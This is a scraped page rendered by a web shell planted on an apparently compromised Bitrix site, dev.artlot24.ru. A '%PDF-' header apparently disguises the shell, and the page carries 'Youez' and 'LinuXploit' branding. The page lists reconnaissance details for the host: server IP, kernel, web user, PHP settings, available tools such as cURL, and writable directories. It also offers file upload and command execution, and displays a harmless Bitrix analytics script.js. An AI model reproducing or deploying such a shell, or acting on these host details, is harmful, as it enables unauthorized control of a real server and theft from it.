%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.2.218
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.analytics.base/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.analytics.base/templates/.default/script.js
(function ()
{
	BX.namespace("BX.Report.Analytics");

	BX.Report.Analytics.Page = function (options)
	{
		this.scope = options.scope;
		this.menuScope = options.menuScope;
		// this.menuItemsContainers = this.menuScope.querySelectorAll('[data-role="report-analytics-menu-items-container"]');
		this.changeBoardButtons = this.menuScope.querySelectorAll('[data-role="report-analytics-menu-item"]');
		this.contentContainer = this.scope.querySelector('.report-analytics-content');
		this.currentItem = this.menuScope.querySelector('.report-analytics-sidebar-submenu-item.report-analytics-sidebar-submenu-item-active');
		this.currentSelectedContainer = this.menuScope.querySelector('.report-analytics-sidebar-menu-item.report-analytics-sidebar-menu-item-active');
		this.pageTitle = document.querySelector('.ui-side-panel-wrap-title-name');
		this.pageTitleWrap = document.querySelector('.ui-side-panel-wrap-title-wrap');
		this.pageControlsContainer = document.querySelector('.pagetitle-container.pagetitle-align-right-container');

		this.defaultBoardKey = options.defaultBoardKey;
		this.defaultBoardTitle = options.defaultBoardTitle;

		this.currentPageTitle = top.document.title;
		this.init();
	};

	BX.Report.Analytics.Page.prototype = {
		init: function ()
		{
			BX.addCustomEvent("SidePanel.Slider:onClose", function() {
				this.sliderCloseHandler();
			}.bind(this));
			// this.menuItemsContainers.forEach(function(button) {
			// 	BX.bind(button, 'click', this.handleContainerClick.bind(this));
			// }.bind(this));
			top.document.title = this.defaultBoardTitle;
			this.changeBoardButtons.forEach(function(button) {
				BX.bind(button, 'click', this.handleItemClick.bind(this));
			}.bind(this));
			this.loader = new BX.Loader({size: 80});
			top.onpopstate = this.handlerOnPopState.bind(this);
			this.openBoardWithKey(this.defaultBoardKey);
		},
		handleItemClick: function(event)
		{
			event.preventDefault();
			var button = event.currentTarget;

			this.activateButton(event);
			var isExternal = button.dataset.isExternal == 'Y';
			if (isExternal)
			{
				var isSliderSupport = button.dataset.isSliderSupport === 'N';
				if (isSliderSupport)
				{
					this.openExternalUrlInNewTab(button.dataset.externalUrl);
					return;
				}

				this.openExternalUrl(button.dataset.externalUrl);
			}
			else
			{
				this.openBoardWithKey(button.dataset.reportBoardKey, button.href);
			}
		},
		openExternalUrl: function(url)
		{
			BX.SidePanel.Instance.open(url, {
				cacheable: false,
				loader: 'report:analytics',
			});
		},
		openExternalUrlInNewTab: function(url)
		{
			window.open(url, '_blank');
		},
		openBoardWithKey: function (boardKey, urlForHistory)
		{
			urlForHistory = urlForHistory || "";
			this.cleanPageContent();
			this.showLoader();
			BX.Report.VC.Core.abortAllRunningRequests();

			BX.Report.VC.Core.ajaxPost('analytics.getBoardComponentByKey', {
				data: {
					IFRAME: 'Y',
					boardKey: boardKey
				},
				analyticsLabel: {
					boardKey: boardKey
				},
				onFullSuccess: function(result)
				{
					this.hideLoader();
					if(urlForHistory != "")
					{
						top.history.pushState(null, result.additionalParams.pageTitle, urlForHistory);
						top.history.replaceState({
							reportBoardKey: boardKey,
							href: urlForHistory
						}, result.additionalParams.pageTitle, urlForHistory);
					}

					this.changePageTitle(result.additionalParams.pageTitle);
					this.changePageControls(result.additionalParams.pageControlsParams);

					BX.html(this.contentContainer, result.data);

				}.bind(this)
			})
		},
		cleanPageContent: function ()
		{
			this.pageTitle.innerText = '';
			this.pageControlsContainer.innerText = '';
			BX.cleanNode(this.contentContainer);
			if (BX.Report.Dashboard)
			{
				BX.Report.Dashboard.BoardRepository.destroyBoards();
			}
			if (BX.VisualConstructor && BX.VisualConstructor.BoardRepository)
			{
				BX.VisualConstructor.BoardRepository.destroyBoards();
			}
		},
		changePageControls: function(controlsContent)
		{
			var config = {};
			config.onFullSuccess = function(result) {
				BX.html(this.pageControlsContainer, result.html);
			}.bind(this);
			BX.Report.VC.Core._successHandler(controlsContent, config);
		},

		changePageTitle: function(title)
		{
			this.pageTitle.innerText = title;
			top.document.title = title;
		},
		showLoader: function()
		{
			this.pageTitleWrap.style.display = 'none';

			var preview = BX.create('img', {
				attrs: {
					'src': '/bitrix/images/report/visualconstructor/preview/view-without-menu.svg',
					height: '1200px',
					width: '100%'
				}
			});
			this.contentContainer.appendChild(preview);
		},
		hideLoader: function()
		{
			this.pageTitleWrap.style.display = 'block';
			this.loader.hide();
		},
		activateButton: function(event)
		{
			var item = event.currentTarget;

			if (!this.currentItem)
			{
				this.currentItem = item;
			}

			this.currentItem.classList.remove("report-analytics-sidebar-submenu-item-active");
			this.currentItem = item;
			this.currentItem.classList.add("report-analytics-sidebar-submenu-item-active");
		},
		handlerOnPopState: function(event) {
			var boardKey = this.defaultBoardKey;
			if (event.state.reportBoardKey !== undefined)
			{
				boardKey = event.state.reportBoardKey;
			}

			this.cleanPageContent();
			this.showLoader();
			BX.Report.VC.Core.ajaxPost('analytics.getBoardComponentByKey', {
				data: {
					IFRAME: 'Y',
					boardKey: boardKey
				},
				analyticsLabel: {
					boardKey: boardKey
				},
				onFullSuccess: function(result)
				{
					this.hideLoader();
					this.cleanPageContent();
					this.changePageTitle(result.additionalParams.pageTitle);
					this.changePageControls(result.additionalParams.pageControlsParams);
					BX.html(this.contentContainer, result.data);
				}.bind(this)
			});
		},
		sliderCloseHandler: function()
		{
			top.document.title = this.currentPageTitle;
		}

	}
})();

Youez - 2016 - github.com/yon3zu
LinuXploit